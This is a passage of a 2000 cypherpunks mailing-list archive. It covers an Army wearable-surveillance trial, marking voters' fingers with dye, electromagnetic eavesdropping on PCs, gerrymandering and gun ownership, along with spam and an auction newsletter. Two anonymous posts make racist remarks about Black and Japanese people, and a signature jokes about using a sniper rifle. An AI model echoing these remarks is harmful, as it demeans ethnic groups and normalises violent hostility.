2000 15:13:14 -0600 Subject: ip: Soldiers test `Digital MP System' Message-ID: Soldiers test `Digital MP System' by Trish Warrick FORT POLK, La. (Army News Service, Nov. 13, 2000) Military Police could see around corners, through trees and in the dark as they tested the Army's new "Digital MP System" this month at Fort Polk, La. Patrolmen wore eyeglass-mounted miniature cameras providing "streaming video" to their partners. Viewing screens in the eyeglasses also allowed the MPs to check the faces of suspects they stopped against digital mug shots of known offenders. Fort Polk's 91st Military Police Detachment soldiers became the first MPs to test the system Oct. 30 to Nov. 3. Representatives of the U.S. Army Soldier Systems Center in Natick, Mass., brought the Digital MP System to Fort Polk. They were joined by members of the Defense Advanced Research Projects Agency and a number of contractor teams wanting to see how the system would work on real soldiers. The Digital MP is a durable, lightweight, wearable communications and information management system designed to help carry out reconnaissance, checkpoint security, anti-terrorism operations and other MP missions, said program manager Henry Girolamo, Natick Soldiers Center. The backbone of the Digital MP is a wearable computer developed by ViA Inc., MicroOptical Corp and Honeywell Inc. and tailored to the mission requirements of the MP soldier, Girolamo said. The Digital MP's support features include a hands-free, voice-operated interface and a battery that provides day-long power on a single charge. It features peripherals such as: * An audiovisual system with built-in miniature camera for face recognition and image display plus a noise-cancelling microphone and bone-conduction microphone/earphone for voice recognition, all incorporated in a pair of normal-size eyeglass frames * A BDU-pocket-sized "military e-book" readable even in strong sunlight or pale starlight (with night vision goggles) that emits no light to give away a soldier's position * An electronic glove that can function like a computer mouse with the e-book and translate hand signals into words on other soldiers' eyeglass-mounted viewers The Digital MP system can connect a military police team wirelessly and in ways never before possible, officials said. The eyeglass-mounted camera provides streaming video, which means "it can transmit to me what another MP is looking at even though I can't see him," said Sgt. Michael Sauer, Special Reaction Team noncommissioned officer in charge, 91st MP Det. An MP making a traffic stop or manning a checkpoint can take live videos which are checked against digital mug shots stored in the National Crime Interdiction Center database, Sauer said, so he's quickly alerted if the person stopped has a criminal record. On deployment, the system can warn him that he's dealing with a suspected terrorist or war criminal. An MP on patrol can use the e-book to quickly help others locate what he sees. "Say he's on recon, looking at the terrain," said Sauer. "He sees enemy tanks." Using traditional methods, the soldier plots coordinates on a paper map, calls the TOC on the radio and another soldier plots the coordinates on another map. With Digital MP, "He puts the icon on the map and sends it to the operations center," Sauer said. With the electronic glove, MPs separated by thick woods, buildings or darkness can still communicate silently with the familiar hand signals for "Suspect armed!" and other vital information. The adapted Nomex flight glove, with bend sensors in each finger and in the wrist, pressure sensors in the index and middle fingertips and 2-degree tilt sensors, renders preprogrammed gestures as words in fellow MPs' eyeglass display monitors. The glove works when the signaler doesn't have line of sight communication with the others and doesn't want to give away his position by speaking, said Sauer. The glove also functions like a mouse with the e-book, guiding the cursor with the tilt sensor and using the pressure sensors as right and left clicks. When silence is necessary, as on patrol, the glove can override the voice-operated system. The Digital MP can be programmed to continuously translate speech from English to another language and vice versa with only a five-second lag. Presently it can handle Spanish, Korean, Arabic, German, French, Italian, Portuguese, Dutch, Thai and Turkish, and officials said they plan to add "militarese" -- translating the soldier's "clicks" into the civilian's "kilometers," for instance. (Editor's note: Trish Warrick is editor of the Fort Polk Guardian.) --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 14 12:47:20 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 14 Nov 2000 15:47:20 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: from "Trei, Peter" at Nov 14, 2000 02:45:22 PM Message-ID: <200011142048.OAA07925@harmon.arrowhead.lib.mn.us> > Also, if you want to get high tech, use a fluorescent dye mixed > with DMSO. It'll penetrate deep into the skin, and be visible under > UV (no cosmetic objections). I suspect it'd take weeks to wear off. Can't imagine mixing dye with DMSO -- if you've ever played with DMSO, you'd know that putting a little anywhere on your skin brings it into your mouth, and everywhere else in your body, within seconds. You can taste it almost immediately, and any chemical combined with it is also carried throughout the body, which is often not a good idea. But the dye-dipped finger is a good idea, which would also negate the need for those little "I voted" badges. -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From ptrei at rsasecurity.com Tue Nov 14 13:08:01 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 14 Nov 2000 16:08:01 -0500 Subject: CDR: RE: A secure voting protocol Message-ID: > Harmon Seaver[SMTP:hseaver at harmon.arrowhead.lib.mn.us] wrote: Peter Trei wrote: > > Also, if you want to get high tech, use a fluorescent dye mixed > > with DMSO. It'll penetrate deep into the skin, and be visible under > > UV (no cosmetic objections). I suspect it'd take weeks to wear off. > > Can't imagine mixing dye with DMSO -- if you've ever played with > DMSO, you'd know that putting a little anywhere on your skin brings it > into your mouth, and everywhere else in your body, within seconds. You can > taste it almost immediately, and any chemical combined with it is also > carried throughout the body, which is often not a good idea. > But the dye-dipped finger is a good idea, which would also negate the > need for those little "I voted" badges. > > Harmon Seaver, MLIS Systems Librarian > Good point - I've played with dyes (histology work) but not DMSO. I guess your entire body would glow under UV :-) Actually UV flourescent dyes might not be so good, since an application of SP50 sunscreen might stop them from showing. But I have no doubt that a semi-permanent dye mark can be engineered. It only has to resist removal for about 12 hours. Peter From ptrei at rsasecurity.com Tue Nov 14 13:16:41 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 14 Nov 2000 16:16:41 -0500 Subject: CDR: Re: Close Elections and Causality Message-ID: > petro[SMTP:petro at bounty.org] wrote: > Mr. May: > >At 10:20 AM +0000 11/14/00, Ken Brown wrote: > >> > >> > >>But maybe to redraw the boundaries. That's a common problem in Britain. > >>Every now and again some government (almost always Conservative, for > >>reasons to do with gerrymandering I suspect) gets it into its head that > >>it would be a Good Thing if counties were more or less the same size so > >>tried to amalgamate smaller ones and split larger ones and "rationalize" > >>boundaries. > > > >You _do_ know, I assume, that the very term "gerrymandering" came > >from experiences in the U.S.? > > > >(Not to be confused with "jerrymathersing," which refers to the > >false claim that a person died in a war.) > > The impression that I get is that in Merry Old England, > voting is done by county, whereas in this country voting is done by > district. > > For the benefit of those not familiar with the American system: > > States (obviously) and counties have fixed boundaries, while > voting districts are redrawn every 10 or so years to attempt to keep > the population of each district relatively equivalent in population. > At least that's the theory. What really happens is that since those > in Power draw the lines, they attempt to draw the boundaries such > that they maintain or gain power. > Actually, voting in Britain is done by Parlimentary district, which is a lot smaller than a county. The names on the ballots are the candidates for Member of Parliment from that district.. The party which gets a majority of the parlimentary seats is requested by Mrs. Windsor to form a government. If no party gets a majority, the one with the largest number of seats tries to form a coalition government with one of the other parties. You don't vote directly for a party or Prime Minister (unless you happen to live in his or her district - the PM is an MP as well). And yes, redrawing parlimentary district boundaries is subject to the same partisan gerrymandering as congressional boundaries are in the US. Peter Trei From tcmay at got.net Tue Nov 14 13:55:34 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 16:55:34 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <200011142048.OAA07925@harmon.arrowhead.lib.mn.us> References: <200011142048.OAA07925@harmon.arrowhead.lib.mn.us> Message-ID: At 3:47 PM -0500 11/14/00, Harmon Seaver wrote: > > Also, if you want to get high tech, use a fluorescent dye mixed >> with DMSO. It'll penetrate deep into the skin, and be visible under >> UV (no cosmetic objections). I suspect it'd take weeks to wear off. > > Can't imagine mixing dye with DMSO -- if you've ever played with >DMSO, you'd know that putting a little anywhere on your skin brings it >into your mouth, and everywhere else in your body, within seconds. You can >taste it almost immediately, and any chemical combined with it is also >carried throughout the body, which is often not a good idea. > But the dye-dipped finger is a good idea, which would also negate the >need for those little "I voted" badges. Now _there's_ a good reason. Whatever. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From ravage at EINSTEIN.ssz.com Tue Nov 14 15:22:41 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Tue, 14 Nov 2000 17:22:41 -0600 (CST) Subject: CDR: Re: Please take me off your mailing list! In-Reply-To: Message-ID: On Tue, 14 Nov 2000 cypherpunks at iurn.net wrote: > > Jim.. I hate to tell you, but instructions for toad.com no longer exist on > that website ANYWHERE. If you're talking, http://einstein.ssz.com/cdr/index.html#subinst then you can't read for shit. Let me quote (as I am looking at it real time), "Currently the only listproc based CDR nodes is openpgp.ent, however the deprecated cypherpunks at toad.com also uses this. If you know that a particular CDR node is using listproc for their remailer then send to: cypherpunks-request at appropriate_domain_name" cypherpunks-request at toad.com Not rocket science. Have a nice day. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bill.stewart at pobox.com Tue Nov 14 17:45:35 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 14 Nov 2000 17:45:35 -0800 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: References: <548.973848657@cs.ucl.ac.uk> Message-ID: <3.0.5.32.20001114174535.00b17760@idiom.com> At 02:32 PM 11/13/00 -0800, Tib wrote: >> "Our suggestion is that software packages include in their screen layout a few >> lines with a signal that encodes the license serial number plus a random value >> . . . a "software detector van" can be used to patrol business districts and >> other areas where software piracy is suspected. If the van receives twenty >> signals from the same copy of a software from a company that has only licensed >> five copies, then probable cause for a search warrant has been established." >> p.13 > >Hope I'm not being totally naive about the capability of computer hardware, but >I sure don't recall my PC (or any that I have ever had or can think of >seeing) having short range broadcasting capabilities. How would this be >theorheticly possible (despite the utter nonsense that the rumor must be) to >accomplish, if at all? You don't need a specific radio broadcaster in your PC. Lots of things leak electrically and radiate signals, some useful and easy to decode. Just because it's not useful to YOU doesn't mean it's not useful to an eavesdropper. Video cards, monitors and keyboards are among the loudest. Laptop CRT screens are rumored to be much quieter, but it's not so, at least for most laptops which have an unshielded VGA plug on them so you can plug in a real monitor. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Tue Nov 14 18:00:13 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 18:00:13 -0800 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: References: Message-ID: (Large number of groups/lists he/she crossposted to have been removed.) At 2:32 PM -0800 11/13/00, Tib wrote: > >Hope I'm not being totally naive about the capability of computer >hardware, but >I sure don't recall my PC (or any that I have ever had or can think of >seeing) having short range broadcasting capabilities. How would this be >theorheticly possible (despite the utter nonsense that the rumor must be) to >accomplish, if at all? Yes, you are being totally naive. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From spd4up at yahoo.com Tue Nov 14 18:29:43 2000 From: spd4up at yahoo.com (spd4up at yahoo.com) Date: Tue, 14 Nov 2000 18:29:43 -0800 (PST) Subject: CDR: Internet is Too SLOW? Not money to Update PC? Can't protect yourself? Need MONEY? It is HERE! -GPPL Message-ID: <200011150229.SAA01533@cyberpass.net> Hello cypherpunks! Boost your Internet Connection Speed by up to 200%! Speed up your computer! Protect your personal information while you use the Internet! Make money as partner! It is here: http://www.virtue.nu/spd4up/ http://www.geocities.com/spd4up/ ******************************************************* Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to to this email address with the word REMOVE in the subject line. From anonymous at openpgp.net Tue Nov 14 16:14:52 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 14 Nov 2000 19:14:52 -0500 Subject: CDR: social insects Message-ID: > Both ants and bees, to just name two, are "social insects." The Japanese are pretty similar, too. From tom at ricardo.de Tue Nov 14 10:19:57 2000 From: tom at ricardo.de (Tom Vogt) Date: Tue, 14 Nov 2000 19:19:57 +0100 Subject: CDR: the ballot Message-ID: <3A11824D.CB8012DE@ricardo.de> text in german, but I guess everyone will get the point... finally, we have a copy of the *real* official ballot... http://www.autsch.de/sdw_111300.html :)) From nobody at remailer.privacy.at Tue Nov 14 10:21:02 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Tue, 14 Nov 2000 19:21:02 +0100 Subject: CDR: Re: A secure voting protocol Message-ID: Peter Trei wrote: > I can state from personal experience that Silver Nitrate solution will > produce stains on skin which gradually blacken in the light, and > don't come off till your skin wears off. But what happens when it is applied to Lakeesha Aswamba's finger? Would the staining be visible? From www at www.starrtree.com Tue Nov 14 16:32:19 2000 From: www at www.starrtree.com (www at www.starrtree.com) Date: Tue, 14 Nov 2000 19:32:19 -0500 (EST) Subject: CDR: Trusted Client Systems--echo var Message-ID: <200011150032.TAA24152@valiant.cnchost.com> This e-mail message is a reply to a Web page using the form2mail script. The reply was generated by a web page at www.starrtree.com. Dear Mr/s Joe Cypherpunk, Thank you for your interest in Trusted Client Systems unique suite of secure PCs, products and services. Your name has been added to our mailing list and you will be hearing from us shortly regarding our products, their prices, availability and special introductory offers. Thanks again for your interest, The Trusted Client Systems staff From galt at inconnu.isu.edu Tue Nov 14 18:35:48 2000 From: galt at inconnu.isu.edu (John Galt) Date: Tue, 14 Nov 2000 19:35:48 -0700 (MST) Subject: CDR: Re: your mail In-Reply-To: Message-ID: You have no idea who you just pissed off, do you? On Tue, 14 Nov 2000, morris wrote: > i hate you > -- When you are having a bad day, and it seems like everybody is trying to tick you off, remember that it takes 42 muscles to produce a frown, but only 4 muscles to work the trigger of a good sniper rifle. Who is John galt? Galt at inconnu.isu.edu, that's who! From morris_washington at hotmail.com Tue Nov 14 17:59:58 2000 From: morris_washington at hotmail.com (morris) Date: Tue, 14 Nov 2000 19:59:58 -0600 Subject: No subject Message-ID: i hate you -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 314 bytes Desc: not available URL: From anonymous at openpgp.net Tue Nov 14 17:05:33 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 14 Nov 2000 20:05:33 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: Message-ID: <555fe47eb062b8bead7f99a2b683a0b7@remailer.privacy.at> You wrote: > (This .sig file has not been significantly changed since 1992. As the > election debacle unfolds, it is time to prepare a new one. Stay tuned.) Y2K didn't happen either... Your expecting way too much from this. From honig at sprynet.com Tue Nov 14 17:50:16 2000 From: honig at sprynet.com (David Honig) Date: Tue, 14 Nov 2000 20:50:16 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: <3.0.6.32.20001114081147.0082b550@pop.sprynet.com> Message-ID: <3.0.6.32.20001114174613.00826cc0@pop.sprynet.com> At 01:40 PM 11/14/00 -0500, dmolnar wrote: >Nevada doesn't even require the stamp. > Damn, machine guns, no income tax *and* no stamp on absentee ballots. Gotta move there. From honig at sprynet.com Tue Nov 14 18:04:20 2000 From: honig at sprynet.com (David Honig) Date: Tue, 14 Nov 2000 21:04:20 -0500 Subject: CDR: Re: Gary Chapman On Online Voting, Even if Secure, Won't Solve In-Reply-To: Message-ID: <3.0.6.32.20001114180243.0082c100@pop.sprynet.com> At 01:55 PM 11/14/00 -0500, Matthew Gaylor wrote: >DIGITAL NATION > >Online Voting, Even if Secure, Won't Solve Election Troubles I was in a discussion about this a while ago, where I was defending absentee ballots (as making it easier to vote), and in the process learning about attacks on electronic and social voting systems. What I found is that every tech is going to have societal attacks even if the protocols are perfect. Spouses brow/beating spouses with home voting (regardless of tech); authentication (of dead pets..); collaborations breaking protocols, rigged tech, etc. Attacks and weaknesses. Hollerith cards have the recently apparent weakness that the perforations may not fall out. To say nothing of the recently evident human factors whining, as readily misinterpreted in phosphor as in ink. Though perhaps the "Are you sure [y] [n]" dialog box would increase reliability. Maybe the election observers the Cubans have volunteered will have more ideas.. From tcmay at got.net Tue Nov 14 18:11:21 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 21:11:21 -0500 Subject: CDR: Moving to Nevada In-Reply-To: <3.0.6.32.20001114174613.00826cc0@pop.sprynet.com> References: <3.0.6.32.20001114081147.0082b550@pop.sprynet.com> Message-ID: At 8:50 PM -0500 11/14/00, David Honig wrote: >At 01:40 PM 11/14/00 -0500, dmolnar wrote: >>Nevada doesn't even require the stamp. >> > >Damn, machine guns, no income tax *and* no stamp on absentee ballots. >Gotta move there. > Believe me, I've looked into it. The absentee ballot thing is, as we've discussed, not an issue, as even California doesn't require the draconian stuff Declan was mentioning. As for machine guns, I personally don't care to own one--I appreciate the constitutional point, but I don't personally have a compelling desire to own one. I'm happy with semi-automatic FALs, HK91s, and AR-15s. So far, California has not tried to take mine away. If they try, I should have the several months of warning I need to move to Nevada or some other nominally free place. Income tax is a bigger issue. California collects about 9.5% from me, currently, but other states tend to make up for lower income tax by having higher property taxes and suchlike. Nevada doesn't, because of gambling. However, if the gambling business in Vegas and Reno suffers the way I expect it to, for various reasons beyond the scope of this piece, then I expect the large numbers of "blue collar workers" (hotel workers, casino workers, maids, restaurant workers, etc.) to vote for taxes on wealth of a kind that will make California look like a libertarian paradise. This is one major reason I'm not moving to Nevada. Another is that California basically staked out the claim on the Mediterranean climate in America! 1200 miles of coastline that has a classic Mediterranean weather and climate pattern: mild and rainy winters, sunny and mild the rest of the time. It would take a _lot_ for me to give this up to live in Montana, or Utah, or Texas. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From measl at mfn.org Tue Nov 14 19:27:50 2000 From: measl at mfn.org (J.A. Terranson) Date: Tue, 14 Nov 2000 21:27:50 -0600 (CST) Subject: CDR: Re: your mail In-Reply-To: Message-ID: On Tue, 14 Nov 2000, morris wrote: > Date: Tue, 14 Nov 2000 19:59:58 -0600 > From: morris > To: cypherpunks at toad.com > > i hate you > What else would one expect from a student at the University of Arkansas? -- Yours, J.A. Terranson sysadmin at mfn.org If Governments really want us to behave like civilized human beings, they should give serious consideration towards setting a better example: Ruling by force, rather than consensus; the unrestrained application of unjust laws (which the victim-populations were never allowed input on in the first place); the State policy of justice only for the rich and elected; the intentional abuse and occassionally destruction of entire populations merely to distract an already apathetic and numb electorate... This type of demogoguery must surely wipe out the fascist United States as surely as it wiped out the fascist Union of Soviet Socialist Republics. The views expressed here are mine, and NOT those of my employers, associates, or others. Besides, if it *were* the opinion of all of those people, I doubt there would be a problem to bitch about in the first place... -------------------------------------------------------------------- From honig at sprynet.com Tue Nov 14 18:29:55 2000 From: honig at sprynet.com (David Honig) Date: Tue, 14 Nov 2000 21:29:55 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: At 02:45 PM 11/14/00 -0500, Trei, Peter wrote: >used a purple dye. If you actually knew any blacks (I'm using that >word instead of the currently PC 'African-American' because it's skin >color that's under discussion, and the discussion applies to people >outside the US as well), As well as Indians, Aussie aborigines, etc. in the US. >Also, if you want to get high tech, use a fluorescent dye mixed >with DMSO. It'll penetrate deep into the skin, and be visible under DMSO will let many dyes (and the DMSO) penetrate into your bloodstream. Bad implementation, good idea. From petro at bounty.org Tue Nov 14 21:46:24 2000 From: petro at bounty.org (petro) Date: Tue, 14 Nov 2000 21:46:24 -0800 Subject: CDR: Re: your mail In-Reply-To: References: Message-ID: >On Tue, 14 Nov 2000, morris wrote: > >> Date: Tue, 14 Nov 2000 19:59:58 -0600 >> From: morris >> To: cypherpunks at toad.com >> >> i hate you >> > >What else would one expect from a student at the University of Arkansas? Proper capitalization and punctuation. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From refertofriend at reply.yahoo.com Tue Nov 14 14:08:52 2000 From: refertofriend at reply.yahoo.com (Yahoo! UK & Ireland) Date: Tue, 14 Nov 2000 22:08:52 GMT Subject: CDR: Yahoo! UK & Ireland - Story - DNA database profiles one in 60 Message-ID: <200011142208.eAEM8qR14749@mf1.lng.yahoo.com> ------------------------------------------------------------ Personal message text: DNA database profiles one in 60 http://uk.news.yahoo.com/001114/80/ap59y.html From jya at pipeline.com Tue Nov 14 19:12:48 2000 From: jya at pipeline.com (John Young) Date: Tue, 14 Nov 2000 22:12:48 -0500 Subject: CDR: Re: CIA Website Update In-Reply-To: <5.0.0.25.2.20001115131744.02920db0@mail.eisa.net.au> References: <200011141619.LAA13085@maynard.mail.mindspring.net> Message-ID: <200011150318.WAA12582@maynard.mail.mindspring.net> Yes, the 16,000 declassified Chile/Allende overthrow docs are available: http://foia.state.gov >From files of the State Dept, CIA, FBI, National Security Council, NARA, DIA, NSA, et al. A bounty of patriotic gore and defense/intel pork thanks to Dr. Strangelove and Dickster. And a new report on remaking the NRO to accelerate sat-spying technology development and at the same time lay on fat new layers of secrecy: http://www.nrocommission.com/toc.htm The commission was co-chaired by Official Secrets Porter Goss and hero Bob Kerrey. The report says openness is threatening US survival. Which mirrors SecDef Cohen's warning that technology is empowering citizens, business and allies to challenge USG supremacy. There has never been a better time for ever small claques demanding deeper government secrecy. From declan at well.com Tue Nov 14 20:11:46 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 14 Nov 2000 23:11:46 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <200011142048.OAA07925@harmon.arrowhead.lib.mn.us>; from hseaver@harmon.arrowhead.lib.mn.us on Tue, Nov 14, 2000 at 03:47:20PM -0500 References: <200011142048.OAA07925@harmon.arrowhead.lib.mn.us> Message-ID: <20001114233357.A12297@cluebot.com> On Tue, Nov 14, 2000 at 03:47:20PM -0500, Harmon Seaver wrote: > But the dye-dipped finger is a good idea, which would also negate the > need for those little "I voted" badges. It would also lead to interesting denial of service attacks. One could imagine amusing scenarios, like splotching someone's finger with dye when you intentionally bump up against them in a crowd. :) -Declan From declan at well.com Tue Nov 14 20:14:02 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 14 Nov 2000 23:14:02 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <555fe47eb062b8bead7f99a2b683a0b7@remailer.privacy.at>; from anonymous@openpgp.net on Tue, Nov 14, 2000 at 08:05:33PM -0500 References: <555fe47eb062b8bead7f99a2b683a0b7@remailer.privacy.at> Message-ID: <20001114233632.B12297@cluebot.com> Yes and no. If the Dems stop trying to prolong this, we could have a resolution tomorrow (or Saturday). True, it might tarnish a presidency, but all it takes is one crisis, manufactured or not, to rally the country behind the leader. Also, the day-to-day business of running the government (The Commerce Department today announced a comprehensive new study of blah...) will happen no matter how controversial the election process is. -Declan On Tue, Nov 14, 2000 at 08:05:33PM -0500, anonymous at openpgp.net wrote: > You wrote: > > > (This .sig file has not been significantly changed since 1992. As the > > election debacle unfolds, it is time to prepare a new one. Stay tuned.) > > Y2K didn't happen either... Your expecting way too much from this. > > From News at DoveBid.com Tue Nov 14 20:31:20 2000 From: News at DoveBid.com (News at DoveBid.com) Date: Tue, 14 Nov 2000 23:31:20 EST Subject: CDR: November DoveBid News Message-ID: <29102542.13.2310@mbox.surecom.com> DoveBid News Business Auctions Worldwide 11/15/00 http://www.dovebid.com Dear DoveBid Colleagues, Thank you for the feedback you provided to last month's newsletter. Your thoughts about DoveBid are very valuable to us. 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For more information on DoveBid's Financial Solutions and other transaction support services, please visit our website at http://www.dovebid.com/company/serv_transaction.asp#finance, contact our Customer Care group at mailto: CustomerCare at dovebid.com or call (800) 665-1042. ========================================== LIVE AND WEBCAST AUCTIONS Cannon Valley Woodworking, Inc.--------------11/16/00, Kokomo, IN, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=315 Woodworking Machinery & Equipment Circuitos Internacionales-------------------------11/16/00, Hermosillo, Sonora C.P., Mexico http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=290 Printed Circuit Board Manufacturing Facility Keppell Prince Engineering Pty Ltd.-----------11/17/00, Portland, Vic., Australia http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=331 General Engineering Fourair Industries--------------------------------11/21/00, Keon Park, Vic. Australia http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=337 Refrigeration Equipment G.T. Supplies & Engineering (Acc) Ltd.,--------11/21/00, Blackburn, UK http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=355 Machine Shop Trans-Sales Geelong----------------------------------11/23/00, Corio, Vic., Australia http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=346 Heavy Truck Repair Facility, Range of Trucks and Trailers Rolls Royce---------------------------------------11/23/00, Bedford, UK http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=340 Heavy Duty CNC Machinery Warnaco-------------------------------------------11/28/00, Murfreesboro, TN, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=324 Sewing Machines Digital Video Production Equipment-----------11/28/00, Arlington, TX, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=234 Digital Production Facility Cook's Constructions Pty. Ltd.------------------11/28/00, Melbourne Australia and Webcast Simulcast Locations http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=312 Road Making and Earthmoving Plant and Equipment Dav Con Steel Processing Corp.------------------11/29/00, Gary, IN, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=316 Steel Shot Blast Machines, Draw Benches, Straighteners and Shears Lockheed Martin Corporation---------------------11/29/00, Pocatello, ID, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=227 Environmental Soil Reclamation Facility NEC Computers, Inc.--------------------------------11/29/00, Sacramento, CA, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=327 Computers/Peripherals & Data Processing, Electronic Commodities Kilmartin Industries-------------------------------11/30/00, Attleboro, MA, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=238 Coining Presses Ballarat East Gold Mine--------------------------12/5/00, Ballarat, Vic., Australia http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=333 Gold Mining Plant and Equipment McPherson Broach & Machine Company---------------12/5/00, Warren, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=349 Broach Grinding Equipment Arrowsmith International, Inc. & NUMACO---------12/6/00, Southfield, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=242 Tool & Die Manufacturing Facility Covington Industries----------------------------------12/6/00, Opp, AL, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=353 Sewing Machines Annex Pattern Co.---------------------------------------12/7/00, Southfield, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=345 Metalworking & Machine Tools Comdisco Telecom-------------------------------------12/7/00, Schaumburg, IL, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=310 Telecommunications Palm GmbH, Clemens Palm----------------------------------------12/12/00, Utze, Germany http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=339 Machine Shops A.M.A. Fabrication and Steel, Inc.-----------------------------12/12/00, Toledo, OH, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=351 Fabricating Equipment Huckins Tool & Die Co., Inc.--------------------------------12/12/00, South Bend, IN, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=350 CNC and Manual Metalworking Equipment PMC Fords Specialty------------------------------------------12/12/00, Fords, NJ, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=328 Chemical Processing Equipment Retool Machine Co.---------------------------------------12/13/00, Sterling Heights, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=329 Toolroom Equipment Capral Aluminium Limited-------------------------------3/13/01, Granville, New South Wales, Australia http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=354 General Engineering, Mobile Plant, Office Furniture =================================================== LIQUIDATIONS Alpha Bolt-------------------------------------------- Detroit, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=145 Forging Equipment Applied Machine Technology, Inc.------------------Middletown, OH, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=244 CNCd Vertical Boring Mill Corus (Hoogovens)-----------------------------------Ijmuiden, The Netherlands http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=344 Machine Tools Custom Manufacturing & Engineering-----------St. Petersburg, FL, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=217 Aerospace CNC & Toolroom Equipment FOCUS: Hope---------------------------------------- Detroit, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=148 Parts Washer Jagenberg Maschinenbau GmbH & Co. KG---------Neuss, Germany http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=268 Machine Tools Lockheed Martin Corporation--------------------------Pocatello, ID, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=231 Environmental Soil Reclamation Facility Magnebit Infosystems Inc.--------------------------------Ontario, Canada http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=251 Floppy Disk Manufacturer OREAD, Inc.------------------------------------------Brisbane, CA, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=254 Pharmaceutical Manufacturing Equipment Phister & Vogel Division of United States Leather, Inc.-----Milwaukee, WI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=266 Leather Tannery Ring Technologies---------------------------------Warren, MI, USA http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=255 CNC Coordinate Measuring Machines Rolls Royce, Queens Eng. Works----------------England, UK http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=261 Machine Tools S.I.M.I. Engineering S.r.l.---------------------- Brescia, Italy http://www.dovebid.com/Auctions/AuctionDetail.asp?auctionID=275 CNC Lathe with Grinding Head Steunebrink Loon-en Transportbedrijf--------------Eelde, The Netherlands 